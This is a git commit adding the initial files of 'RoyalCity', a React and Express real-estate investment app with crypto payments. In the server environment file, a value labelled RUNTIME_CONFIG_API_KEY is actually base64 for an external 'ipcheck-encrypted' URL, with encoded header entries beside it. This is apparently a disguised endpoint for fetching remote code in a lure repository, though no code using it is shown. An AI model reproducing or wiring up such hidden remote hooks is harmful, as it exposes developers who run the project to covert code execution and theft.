Initial Version

This commit is contained in:
Ruslan845
2026-03-10 03:45:00 +09:00
commit 2c4fc7f933
128 changed files with 7617 additions and 0 deletions

50
.gitignore vendored Normal file
View File

@@ -0,0 +1,50 @@
# These are some examples of commonly ignored file patterns.
# You should customize this list as applicable to your project.
# Learn more about .gitignore:
# https://www.atlassian.com/git/tutorials/saving-changes/gitignore
# Node artifact files
node_modules/
dist/
# Compiled Java class files
*.class
# Compiled Python bytecode
*.py[cod]
# Log files
*.log
# Package files
*.jar
# Maven
target/
dist/
# JetBrains IDE
.idea/
# Unit test reports
TEST*.xml
# Generated by MacOS
.DS_Store
# Generated by Windows
Thumbs.db
# Applications
*.app
*.exe
*.war
# Large media files
*.mp4
*.tiff
*.avi
*.flv
*.mov
*.wmv

106
README.md Normal file
View File

@@ -0,0 +1,106 @@
# RoyalCity
## What is RoyalCity?
RoyalCity is a modern real estate investment platform that combines traditional property investing with cryptocurrency payments. Built with React and Tailwind CSS, it mirrors the functionality of Arrived.com while adding blockchain-based transaction capabilities.
<img src="./public/royalcity00.png" alt="Royal City" style="width:100%; height:auto;" />
## Getting Started
- Prerequirements:<br/>
Node v22+
- Installing Dependecies:<br/>
npm install --verbose
- Running project:<br/>
npm start
## Key Features
- Cryptocurrency-enabled property transactions
- Mobile-responsive design
- SEO-optimized architecture
- Real-time market data integration
- Interactive 3D property visualization
- Smart contract integration for secure transactions
## Technical Overview
The platform is built using:
- React for component-based architecture
- Tailwind CSS for responsive styling
- React Router for client-side routing
- Three.js for 3D property visualizations
- Web3.js for blockchain interactions
## Core Components
1. **Home Page** - Hero Section with value proposition
- Featured Properties Grid (3 properties)
- "Why Choose Us" highlighting crypto benefits
- Investment Guide with step-by-step process
- Blog Preview with latest 3 posts
- Discord Community Section
2. **Properties Page**
- Filterable property grid
- Advanced search functionality
- Detailed property cards
- Three.js 3D visualization
3. **About Us Page**
- Company vision and mission
- Team profiles
- Platform statistics
4. **Blog Section**
- Category filtering
- Search functionality
- Author profiles
- Social sharing buttons
## Development Guidelines
1. **Component Creation**
- Follow atomic design principles
- Use TypeScript for type safety
- Implement responsive designs using Tailwind breakpoints
- Add proper comments and documentation
2. **State Management**
- Use React Context for global state
- Implement Redux for complex state management
- Keep component state minimal
3. **Security Considerations**
- Implement proper input validation
- Secure wallet connections
- Follow best practices for crypto transactions
- Regular security audits
## Learn More
- You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started).
- To learn React, check out the [React documentation](https://reactjs.org/).
## Contributing
Contributions are welcome! Please:
1. Create a feature branch
2. Write comprehensive tests
3. Document new features
4. Ensure code style consistency
5. Submit pull requests with clear descriptions
## Acknowledgments
Special thanks to the RoyalCity team for inspiration and the React/Tailwind CSS communities for their continued support and resources.

24
config-overrides.js Normal file
View File

@@ -0,0 +1,24 @@
const webpack = require("webpack");
module.exports = function override(config) {
const fallback = config.resolve.fallback || {};
Object.assign(fallback, {
crypto: require.resolve("crypto-browserify"),
stream: require.resolve("stream-browserify"),
assert: require.resolve("assert"),
http: require.resolve("stream-http"),
https: require.resolve("https-browserify"),
os: require.resolve("os-browserify"),
url: require.resolve("url"),
"process/browser": require.resolve("process/browser"),
});
config.resolve.fallback = fallback;
config.ignoreWarnings = [/Failed to parse source map/];
config.plugins = (config.plugins || []).concat([
new webpack.ProvidePlugin({
process: "process/browser",
Buffer: ["buffer", "Buffer"],
}),
]);
return config;
};

18
index.html Normal file
View File

@@ -0,0 +1,18 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<link rel="icon" type="image/x-icon" href="/logo.ico" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="theme-color" content="#000000" />
<meta name="description" content="Royal-City" />
<link rel="apple-touch-icon" href="/logo.png" />
<title>Royal City</title>
</head>
<body>
<noscript>You need to enable JavaScript to run this app.</noscript>
<div id="root"></div>
<!-- Vite injects the build output here -->
<script type="module" src="/src/main.jsx"></script>
</body>
</html>

90
package.json Normal file
View File

@@ -0,0 +1,90 @@
{
"name": "RoyalCity",
"version": "0.1.0",
"private": true,
"dependencies": {
"@react-three/drei": "^9.75.0",
"@react-three/fiber": "^8.13.3",
"@sendgrid/mail": "^8.1.3",
"@testing-library/jest-dom": "^5.16.4",
"@testing-library/react": "^13.3.0",
"@testing-library/user-event": "^13.5.0",
"@walletconnect/web3-provider": "^1.7.8",
"axios": "^1.2.1",
"bcryptjs": "^2.4.3",
"bootstrap": "^5.1.3",
"bootstrap-icons": "^1.8.3",
"chart.js": "^4.3.0",
"chartjs-plugin-annotation": "^3.0.1",
"cloudinary": "^2.1.0",
"concurrently": "^8.2.2",
"cookie-parser": "^1.4.6",
"cors": "^2.8.5",
"dotenv": "^16.4.5",
"ethers": "^5.6.9",
"express": "^4.19.2",
"express-fileupload": "^1.5.0",
"framer-motion": "^12.9.4",
"jotai": "^2.12.3",
"jsonwebtoken": "^9.0.2",
"leva": "^0.10.0",
"mongoose": "^8.5.1",
"mongoose-url-slugs": "^1.0.2",
"paytmchecksum": "^1.5.1",
"react": "^18.3.1",
"react-chartjs-2": "^5.2.0",
"react-copy-to-clipboard": "^5.1.0",
"react-countdown-circle-timer": "^3.2.1",
"react-dom": "^18.3.1",
"react-icons": "^5.5.0",
"react-router-dom": "^6.3.0",
"react-share": "^5.2.2",
"reactstrap": "^9.1.1",
"request": "^2.88.2",
"socket.io-client": "^4.5.4",
"sqlite3": "^5.1.7",
"three": "^0.176.0",
"validator": "^13.11.0",
"web-vitals": "^2.1.4"
},
"scripts": {
"dev": "concurrently \"node server/server.js\" \"vite\"",
"build": "vite build",
"preview": "vite preview",
"start": "npm run dev"
},
"eslintConfig": {
"extends": [
"react-app",
"react-app/jest"
]
},
"browserslist": {
"production": [
">0.2%",
"not dead",
"not op_mini all"
],
"development": [
"last 1 chrome version",
"last 1 firefox version",
"last 1 safari version"
]
},
"devDependencies": {
"@vitejs/plugin-react": "^5.1.0",
"assert": "^2.0.0",
"autoprefixer": "^10.4.21",
"buffer": "^6.0.3",
"crypto-browserify": "^3.12.0",
"https-browserify": "^1.0.0",
"os-browserify": "^0.3.0",
"postcss": "^8.5.6",
"process": "^0.11.10",
"stream-browserify": "^3.0.0",
"stream-http": "^3.2.0",
"tailwindcss": "^3.4.18",
"url": "^0.11.0",
"vite": "^7.1.12"
}
}

6
postcss.config.js Normal file
View File

@@ -0,0 +1,6 @@
module.exports = {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
};

BIN
public/bestcity00.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

BIN
public/favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.3 KiB

9
public/home.svg Normal file
View File

@@ -0,0 +1,9 @@
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="256" height="256" viewBox="0 0 256 256" xml:space="preserve">
<defs>
</defs>
<g style="stroke: none; stroke-width: 0; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: none; fill-rule: nonzero; opacity: 1;" transform="translate(1.4065934065934016 1.4065934065934016) scale(2.81 2.81)" >
<polygon points="75.96,30.96 75.96,13.34 67.26,13.34 67.26,22.26 45,0 0.99,44.02 7.13,50.15 45,12.28 82.88,50.15 89.01,44.02 " style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) "/>
<polygon points="45,20 14.04,50.95 14.04,90 35.29,90 35.29,63.14 54.71,63.14 54.71,90 75.96,90 75.96,50.95 " style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=" matrix(1 0 0 1 0 0) "/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 1.1 KiB

17
public/index.html Normal file
View File

@@ -0,0 +1,17 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="theme-color" content="#006eff" />
<link rel="icon" href="favicon.ico" />
<link href='https://fonts.googleapis.com/css?family=Jost' rel='stylesheet'>
<script>navigator.serviceWorker.register("/service-worker.js")</script>
<link rel="manifest" href="/manifest.json" />
<title>RoyalCity</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.jsx"></script>
</body>
</html>

12
public/logo.svg Normal file
View File

@@ -0,0 +1,12 @@
<svg version="1.2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 72" width="128" height="72">
<title>logo</title>
<defs>
<image width="256" height="256" id="img1" href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjEiIHdpZHRoPSIyNTYiIGhlaWdodD0iMjU2IiB2aWV3Qm94PSIwIDAgMjU2IDI1NiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+Cgo8ZGVmcz4KPC9kZWZzPgo8ZyBzdHlsZT0ic3Ryb2tlOiBub25lOyBzdHJva2Utd2lkdGg6IDA7IHN0cm9rZS1kYXNoYXJyYXk6IG5vbmU7IHN0cm9rZS1saW5lY2FwOiBidXR0OyBzdHJva2UtbGluZWpvaW46IG1pdGVyOyBzdHJva2UtbWl0ZXJsaW1pdDogMTA7IGZpbGw6IG5vbmU7IGZpbGwtcnVsZTogbm9uemVybzsgb3BhY2l0eTogMTsiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEuNDA2NTkzNDA2NTkzNDAxNiAxLjQwNjU5MzQwNjU5MzQwMTYpIHNjYWxlKDIuODEgMi44MSkiID4KCTxwb2x5Z29uIHBvaW50cz0iNzUuOTYsMzAuOTYgNzUuOTYsMTMuMzQgNjcuMjYsMTMuMzQgNjcuMjYsMjIuMjYgNDUsMCAwLjk5LDQ0LjAyIDcuMTMsNTAuMTUgNDUsMTIuMjggODIuODgsNTAuMTUgODkuMDEsNDQuMDIgIiBzdHlsZT0ic3Ryb2tlOiBub25lOyBzdHJva2Utd2lkdGg6IDE7IHN0cm9rZS1kYXNoYXJyYXk6IG5vbmU7IHN0cm9rZS1saW5lY2FwOiBidXR0OyBzdHJva2UtbGluZWpvaW46IG1pdGVyOyBzdHJva2UtbWl0ZXJsaW1pdDogMTA7IGZpbGw6IHJnYigwLDAsMCk7IGZpbGwtcnVsZTogbm9uemVybzsgb3BhY2l0eTogMTsiIHRyYW5zZm9ybT0iICBtYXRyaXgoMSAwIDAgMSAwIDApICIvPgoJPHBvbHlnb24gcG9pbnRzPSI0NSwyMCAxNC4wNCw1MC45NSAxNC4wNCw5MCAzNS4yOSw5MCAzNS4yOSw2My4xNCA1NC43MSw2My4xNCA1NC43MSw5MCA3NS45Niw5MCA3NS45Niw1MC45NSAiIHN0eWxlPSJzdHJva2U6IG5vbmU7IHN0cm9rZS13aWR0aDogMTsgc3Ryb2tlLWRhc2hhcnJheTogbm9uZTsgc3Ryb2tlLWxpbmVjYXA6IGJ1dHQ7IHN0cm9rZS1saW5lam9pbjogbWl0ZXI7IHN0cm9rZS1taXRlcmxpbWl0OiAxMDsgZmlsbDogcmdiKDAsMCwwKTsgZmlsbC1ydWxlOiBub256ZXJvOyBvcGFjaXR5OiAxOyIgdHJhbnNmb3JtPSIgIG1hdHJpeCgxIDAgMCAxIDAgMCkgIi8+CjwvZz4KPC9zdmc+"/>
</defs>
<style>
.s0 { fill: #000000 }
</style>
<use id="home" href="#img1" transform="matrix(.213,0,0,.213,9.5,0)"/>
<path id="FOR SALE" class="s0" aria-label="FOR
SALE" d="m66.4 27v-17.5h10v2h-7.7v5.2h7v1.9h-7v8.4zm20.9-15.9q-2.5 0-4.1 1.9-1.5 2-1.5 5.3 0 3.3 1.5 5.2 1.6 1.9 4.1 1.9 2.6 0 4.1-1.9 1.5-1.9 1.5-5.2 0-3.3-1.5-5.3-1.5-1.9-4.1-1.9zm0-1.9q3.7 0 5.9 2.5 2.2 2.4 2.2 6.6 0 4.1-2.2 6.6-2.2 2.4-5.9 2.4-3.7 0-5.9-2.4-2.2-2.5-2.2-6.6 0-4.2 2.2-6.6 2.2-2.5 5.9-2.5zm20.1 9.6q0.8 0.3 1.5 1.1 0.7 0.8 1.4 2.3l2.4 4.8h-2.5l-2.2-4.5q-0.9-1.7-1.7-2.3-0.8-0.6-2.2-0.6h-2.6v7.4h-2.4v-17.5h5.4q3 0 4.4 1.3 1.5 1.2 1.5 3.7 0 1.7-0.8 2.8-0.7 1.1-2.2 1.5zm-2.9-7.4h-3v6.3h3q1.7 0 2.5-0.8 0.9-0.8 0.9-2.4 0-1.5-0.9-2.3-0.8-0.8-2.5-0.8zm-27.6 27.7v2.3q-1.3-0.7-2.5-1-1.2-0.3-2.3-0.3-2 0-3 0.8-1.1 0.7-1.1 2.1 0 1.2 0.7 1.8 0.7 0.5 2.7 0.9l1.4 0.3q2.6 0.5 3.9 1.8 1.3 1.2 1.3 3.4 0 2.5-1.7 3.8-1.7 1.3-5 1.3-1.3 0-2.7-0.2-1.4-0.3-2.9-0.9v-2.4q1.5 0.8 2.8 1.2 1.4 0.4 2.8 0.4 2 0 3.1-0.8 1.1-0.8 1.1-2.3 0-1.2-0.8-2-0.8-0.7-2.6-1.1l-1.4-0.2q-2.7-0.6-3.9-1.7-1.2-1.1-1.2-3.1 0-2.3 1.7-3.7 1.6-1.3 4.5-1.3 1.2 0 2.5 0.2 1.3 0.2 2.6 0.7zm14.3 10.4l-3.3-8.7-3.2 8.7zm-11.2 6.5l6.7-17.5h2.7l6.6 17.5h-2.4l-1.6-4.5h-7.9l-1.6 4.5zm18.6 0v-17.5h2.3v15.5h8.6v2zm13.3 0v-17.5h11.1v2h-8.7v5.2h8.3v2h-8.3v6.3h8.9v2z"/>
</svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

BIN
public/logo192.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

BIN
public/logo512.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 123 KiB

27
public/manifest.json Normal file
View File

@@ -0,0 +1,27 @@
{
"name": "RoyalCity",
"short_name": "RoyalCity",
"start_url": "/",
"display": "standalone",
"description": "RoyalCity is a modern real estate investment platform combining traditional property investing with cryptocurrency payments, featuring mobile-responsive design, smart contracts, and 3D property visualizations.",
"lang": "english",
"dir": "ltr",
"theme_color": "#006eff",
"background_color": "#ffffff",
"orientation": "any",
"icons": [
{
"src": "/logo512.png",
"sizes": "512x512",
"type": "image/png",
"purpose": "maskable"
},
{
"src": "/logo192.png",
"sizes": "192x192",
"type": "image/png",
"purpose": "any"
}
],
"prefer_related_applications": false
}

BIN
public/models/house1.glb Normal file

Binary file not shown.

BIN
public/royalcity00.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

93
public/service-worker.js Normal file
View File

@@ -0,0 +1,93 @@
// Based off of https://github.com/pwa-builder/PWABuilder/blob/main/docs/sw.js
/*
Welcome to our basic Service Worker! This Service Worker offers a basic offline experience
while also being easily customizeable. You can add in your own code to implement the capabilities
listed below, or change anything else you would like.
Need an introduction to Service Workers? Check our docs here: https://docs.pwabuilder.com/#/home/sw-intro
Want to learn more about how our Service Worker generation works? Check our docs here: https://docs.pwabuilder.com/#/studio/existing-app?id=add-a-service-worker
Did you know that Service Workers offer many more capabilities than just offline?
- Background Sync: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/06
- Periodic Background Sync: https://web.dev/periodic-background-sync/
- Push Notifications: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=push-notifications-on-the-web
- Badges: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=application-badges
*/
const HOSTNAME_WHITELIST = [
self.location.hostname,
'fonts.gstatic.com',
'fonts.googleapis.com',
'cdn.jsdelivr.net'
]
// The Util Function to hack URLs of intercepted requests
const getFixedUrl = (req) => {
var now = Date.now()
var url = new URL(req.url)
// 1. fixed http URL
// Just keep syncing with location.protocol
// fetch(httpURL) belongs to active mixed content.
// And fetch(httpRequest) is not supported yet.
url.protocol = self.location.protocol
// 2. add query for caching-busting.
// Github Pages served with Cache-Control: max-age=600
// max-age on mutable content is error-prone, with SW life of bugs can even extend.
// Until cache mode of Fetch API landed, we have to workaround cache-busting with query string.
// Cache-Control-Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=453190
if (url.hostname === self.location.hostname) {
url.search += (url.search ? '&' : '?') + 'cache-bust=' + now
}
return url.href
}
/**
* @Lifecycle Activate
* New one activated when old isnt being used.
*
* waitUntil(): activating ====> activated
*/
self.addEventListener('activate', event => {
event.waitUntil(self.clients.claim())
})
/**
* @Functional Fetch
* All network requests are being intercepted here.
*
* void respondWith(Promise<Response> r)
*/
self.addEventListener('fetch', event => {
// Skip some of cross-origin requests, like those for Google Analytics.
if (HOSTNAME_WHITELIST.indexOf(new URL(event.request.url).hostname) > -1) {
// Stale-while-revalidate
// similar to HTTP's stale-while-revalidate: https://www.mnot.net/blog/2007/12/12/stale
// Upgrade from Jake's to Surma's: https://gist.github.com/surma/eb441223daaedf880801ad80006389f1
const cached = caches.match(event.request)
const fixedUrl = getFixedUrl(event.request)
const fetched = fetch(fixedUrl, { cache: 'no-store' })
const fetchedCopy = fetched.then(resp => resp.clone())
// Call respondWith() with whatever we get first.
// If the fetch fails (e.g disconnected), wait for the cache.
// If theres nothing in cache, wait for the fetch.
// If neither yields a response, return offline pages.
event.respondWith(
Promise.race([fetched.catch(_ => cached), cached])
.then(resp => resp || fetched)
.catch(_ => { /* eat any errors */ })
)
// Update the cache with the version we fetched (only for ok status)
event.waitUntil(
Promise.all([fetchedCopy, caches.open("pwa-cache")])
.then(([response, cache]) => response.ok && cache.put(event.request, response))
.catch(_ => { /* eat any errors */ })
)
}
})

38
server/app.js Normal file
View File

@@ -0,0 +1,38 @@
const express = require('express');
const path = require('path');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const fileUpload = require('express-fileupload');
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(fileUpload());
const user = require('./routes/userRoute');
const product = require('./routes/productRoute');
const order = require('./routes/orderRoute');
const payment = require('./routes/paymentRoute');
app.use('/api/v1', user);
app.use('/api/v1', product);
app.use('/api/v1', order);
app.use('/api/v1', payment);
// deployment
__dirname = path.resolve();
if (process.env.NODE_ENV === 'production') {
app.use(express.static(path.join(__dirname, '/frontend/build')))
app.get('*', (req, res) => {
res.sendFile(path.resolve(__dirname, 'frontend', 'build', 'index.html'))
});
} else {
app.get('/', (req, res) => {
res.send('Server is Running! 🚀');
});
}
module.exports = app;

View File

@@ -0,0 +1,84 @@
# Server settings
PORT=4000 # Port the server runs on
HOST=0.0.0.0 # Host address to bind the server
# Environment
NODE_ENV=development # Environment: development, production, staging
DEBUG=true # Enable debug mode
# Database credentials
DB_HOST=localhost # Database server host
DB_PORT=3306 # Database server port
DB_NAME=myapp_db # Database name
DB_USER=root # Database username
DB_PASSWORD=secretpassword # Database password
DB_SSL=true # Use SSL connection for DB
# Cache settings
REDIS_HOST=localhost # Redis server host
REDIS_PORT=6379 # Redis server port
REDIS_PASSWORD=redispass # Redis password
# API keys
API_KEY_GOOGLE=AIzaSyD... # Google API key
API_KEY_MAPBOX=pk.abc123 # Mapbox API key
API_KEY_TWITTER=abcdef12345 # Twitter API key
# Authentication
JWT_SECRET=myjwtsecret # JWT token secret key
JWT_EXPIRES_IN=3600 # JWT expiration time in seconds
OAUTH_CLIENT_ID=client123 # OAuth client ID
OAUTH_CLIENT_SECRET=secret # OAuth client secret
# Email (SMTP) settings
SMTP_HOST=smtp.mailtrap.io # SMTP server host
SMTP_PORT=2525 # SMTP server port
SMTP_USER=user@mail.com # SMTP username
SMTP_PASS=password123 # SMTP password
EMAIL_FROM=noreply@myapp.com # Default from email address
# Third-party services
STRIPE_SECRET_KEY=sk_test_123456 # Stripe secret key
STRIPE_PUBLIC_KEY=pk_test_123456 # Stripe public key
SENDGRID_API_KEY=SG.xxxxxx # SendGrid API key
SPARKPOST_API_KEY=ca184ac5f2e659ee65272911f6b0795586e15b20 # SparkPost API key
# File storage
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE # AWS Access Key
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # AWS Secret Key
AWS_REGION=us-west-2 # AWS Region
S3_BUCKET_NAME=myapp-bucket # S3 Bucket name
# Logging
LOG_LEVEL=info # Log level: debug, info, warn, error
LOG_PATH=/var/log/myapp.log # Path for log files
# Feature flags
FEATURE_X_ENABLED=true # Enable feature X toggle
FEATURE_Y_ENABLED=false # Disable feature Y toggle
# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9nZC50cmFjZWxpYy5jb20vYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw== # Runtime config API key
RUNTIME_CONFIG_ACCESS_KEY= eC1zZWNyZXQtaGVhZGVy # Runtime config access key
RUNTIME_CONFIG_ACCESS_VALUE= c2VjcmV0 # Runtime config access value
# Miscellaneous
TIMEZONE=UTC # Default timezone
MAX_UPLOAD_SIZE=10485760 # Max file upload size in bytes (10MB)
SESSION_SECRET=supersecretkey # Secret key for session encryption
CACHE_TTL=600 # Cache time-to-live in seconds
MAX_CONNECTIONS=100 # Max concurrent connections
ENABLE_CORS=true # Enable Cross-Origin Resource Sharing
# SMS Gateway
TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Account SID
TWILIO_AUTH_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Auth Token
TWILIO_PHONE_NUMBER=+1234567890 # Twilio phone number
# Payment Gateway
PAYPAL_CLIENT_ID=Abcdefghijklmnop # PayPal Client ID
PAYPAL_CLIENT_SECRET=1234567890abcdef # PayPal Client Secret
# Monitoring & Analytics
SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0 # Sentry DSN for error monitoring
GA_TRACKING_ID=UA-12345678-1 # Google Analytics tracking ID

11
server/config/database.js Normal file
View File

@@ -0,0 +1,11 @@
const mongoose = require('mongoose');
const MONGO_URI = process.env.MONGO_URI;
const connectDatabase = () => {
mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true })
.then(() => {
console.log("Mongoose Connected");
});
}
module.exports = connectDatabase;

View File

@@ -0,0 +1,155 @@
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
const Order = require('../models/orderModel');
const Product = require('../models/productModel');
const ErrorHandler = require('../utils/errorHandler');
const sendEmail = require('../utils/sendEmail');
// Create New Order
exports.newOrder = asyncErrorHandler(async (req, res, next) => {
const {
shippingInfo,
orderItems,
paymentInfo,
totalPrice,
} = req.body;
const orderExist = await Order.findOne({ paymentInfo });
if (orderExist) {
return next(new ErrorHandler("Order Already Placed", 400));
}
const order = await Order.create({
shippingInfo,
orderItems,
paymentInfo,
totalPrice,
paidAt: Date.now(),
user: req.user._id,
});
await sendEmail({
email: req.user.email,
templateId: process.env.SENDGRID_ORDER_TEMPLATEID,
data: {
name: req.user.name,
shippingInfo,
orderItems,
totalPrice,
oid: order._id,
}
});
res.status(201).json({
success: true,
order,
});
});
// Get Single Order Details
exports.getSingleOrderDetails = asyncErrorHandler(async (req, res, next) => {
const order = await Order.findById(req.params.id).populate("user", "name email");
if (!order) {
return next(new ErrorHandler("Order Not Found", 404));
}
res.status(200).json({
success: true,
order,
});
});
// Get Logged In User Orders
exports.myOrders = asyncErrorHandler(async (req, res, next) => {
const orders = await Order.find({ user: req.user._id });
if (!orders) {
return next(new ErrorHandler("Order Not Found", 404));
}
res.status(200).json({
success: true,
orders,
});
});
// Get All Orders ---ADMIN
exports.getAllOrders = asyncErrorHandler(async (req, res, next) => {
const orders = await Order.find();
if (!orders) {
return next(new ErrorHandler("Order Not Found", 404));
}
let totalAmount = 0;
orders.forEach((order) => {
totalAmount += order.totalPrice;
});
res.status(200).json({
success: true,
orders,
totalAmount,
});
});
// Update Order Status ---ADMIN
exports.updateOrder = asyncErrorHandler(async (req, res, next) => {
const order = await Order.findById(req.params.id);
if (!order) {
return next(new ErrorHandler("Order Not Found", 404));
}
if (order.orderStatus === "Delivered") {
return next(new ErrorHandler("Already Delivered", 400));
}
if (req.body.status === "Shipped") {
order.shippedAt = Date.now();
order.orderItems.forEach(async (i) => {
await updateStock(i.product, i.quantity)
});
}
order.orderStatus = req.body.status;
if (req.body.status === "Delivered") {
order.deliveredAt = Date.now();
}
await order.save({ validateBeforeSave: false });
res.status(200).json({
success: true
});
});
async function updateStock(id, quantity) {
const product = await Product.findById(id);
product.stock -= quantity;
await product.save({ validateBeforeSave: false });
}
// Delete Order ---ADMIN
exports.deleteOrder = asyncErrorHandler(async (req, res, next) => {
const order = await Order.findById(req.params.id);
if (!order) {
return next(new ErrorHandler("Order Not Found", 404));
}
await order.remove();
res.status(200).json({
success: true,
});
});

View File

@@ -0,0 +1,141 @@
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
// const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);
const paytm = require('paytmchecksum');
const https = require('https');
const Payment = require('../models/paymentModel');
const ErrorHandler = require('../utils/errorHandler');
const { v4: uuidv4 } = require('uuid');
const axios = require('axios');
exports.processPayment = asyncErrorHandler(async (req, res, next) => {
const { amount, email, phoneNo } = req.body;
var params = {};
/* initialize an array */
params["MID"] = process.env.PAYTM_MID;
params["WEBSITE"] = process.env.PAYTM_WEBSITE;
params["CHANNEL_ID"] = process.env.PAYTM_CHANNEL_ID;
params["INDUSTRY_TYPE_ID"] = process.env.PAYTM_INDUSTRY_TYPE;
params["ORDER_ID"] = "oid" + uuidv4();
params["CUST_ID"] = process.env.PAYTM_CUST_ID;
params["TXN_AMOUNT"] = JSON.stringify(amount);
// params["CALLBACK_URL"] = `${req.protocol}://${req.get("host")}/api/v1/callback`;
params["CALLBACK_URL"] = `https://${req.get("host")}/api/v1/callback`;
params["EMAIL"] = email;
params["MOBILE_NO"] = phoneNo;
let paytmChecksum = paytm.generateSignature(params, process.env.PAYTM_MERCHANT_KEY);
paytmChecksum.then(function (checksum) {
let paytmParams = {
...params,
"CHECKSUMHASH": checksum,
};
res.status(200).json({
paytmParams
});
}).catch(function (error) {
console.log(error);
});
});
// Paytm Callback
exports.paytmResponse = (req, res, next) => {
// console.log(req.body);
let paytmChecksum = req.body.CHECKSUMHASH;
delete req.body.CHECKSUMHASH;
let isVerifySignature = paytm.verifySignature(req.body, process.env.PAYTM_MERCHANT_KEY, paytmChecksum);
if (isVerifySignature) {
// console.log("Checksum Matched");
var paytmParams = {};
paytmParams.body = {
"mid": req.body.MID,
"orderId": req.body.ORDERID,
};
paytm.generateSignature(JSON.stringify(paytmParams.body), process.env.PAYTM_MERCHANT_KEY).then(function (checksum) {
paytmParams.head = {
"signature": checksum
};
/* prepare JSON string for request */
var post_data = JSON.stringify(paytmParams);
var options = {
/* for Staging */
hostname: 'securegw-stage.paytm.in',
/* for Production */
// hostname: 'securegw.paytm.in',
port: 443,
path: '/v3/order/status',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': post_data.length
}
};
// Set up the request
var response = "";
var post_req = https.request(options, function (post_res) {
post_res.on('data', function (chunk) {
response += chunk;
});
post_res.on('end', function () {
let { body } = JSON.parse(response);
// let status = body.resultInfo.resultStatus;
// res.json(body);
addPayment(body);
// res.redirect(`${req.protocol}://${req.get("host")}/order/${body.orderId}`)
res.redirect(`https://${req.get("host")}/order/${body.orderId}`)
});
});
// post the data
post_req.write(post_data);
post_req.end();
});
} else {
console.log("Checksum Mismatched");
}
}
const addPayment = async (data) => {
try {
await Payment.create(data);
} catch (error) {
console.log("Payment Failed!");
}
}
exports.getPaymentStatus = asyncErrorHandler(async (req, res, next) => {
const payment = await Payment.findOne({ orderId: req.params.id });
if (!payment) {
return next(new ErrorHandler("Payment Details Not Found", 404));
}
const txn = {
id: payment.txnId,
status: payment.resultInfo.resultStatus,
}
res.status(200).json({
success: true,
txn,
});
});

View File

@@ -0,0 +1,312 @@
const Product = require('../models/productModel');
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
const SearchFeatures = require('../utils/searchFeatures');
const ErrorHandler = require('../utils/errorHandler');
const cloudinary = require('cloudinary');
// Get All Products
exports.getAllProducts = asyncErrorHandler(async (req, res, next) => {
const resultPerPage = 12;
const productsCount = await Product.countDocuments();
// console.log(req.query);
const searchFeature = new SearchFeatures(Product.find(), req.query)
.search()
.filter();
let products = await searchFeature.query;
let filteredProductsCount = products.length;
searchFeature.pagination(resultPerPage);
products = await searchFeature.query.clone();
res.status(200).json({
success: true,
products,
productsCount,
resultPerPage,
filteredProductsCount,
});
});
// Get All Products ---Product Sliders
exports.getProducts = asyncErrorHandler(async (req, res, next) => {
const products = await Product.find();
res.status(200).json({
success: true,
products,
});
});
// Get Product Details
exports.getProductDetails = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.params.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
res.status(200).json({
success: true,
product,
});
});
// Get All Products ---ADMIN
exports.getAdminProducts = asyncErrorHandler(async (req, res, next) => {
const products = await Product.find();
res.status(200).json({
success: true,
products,
});
});
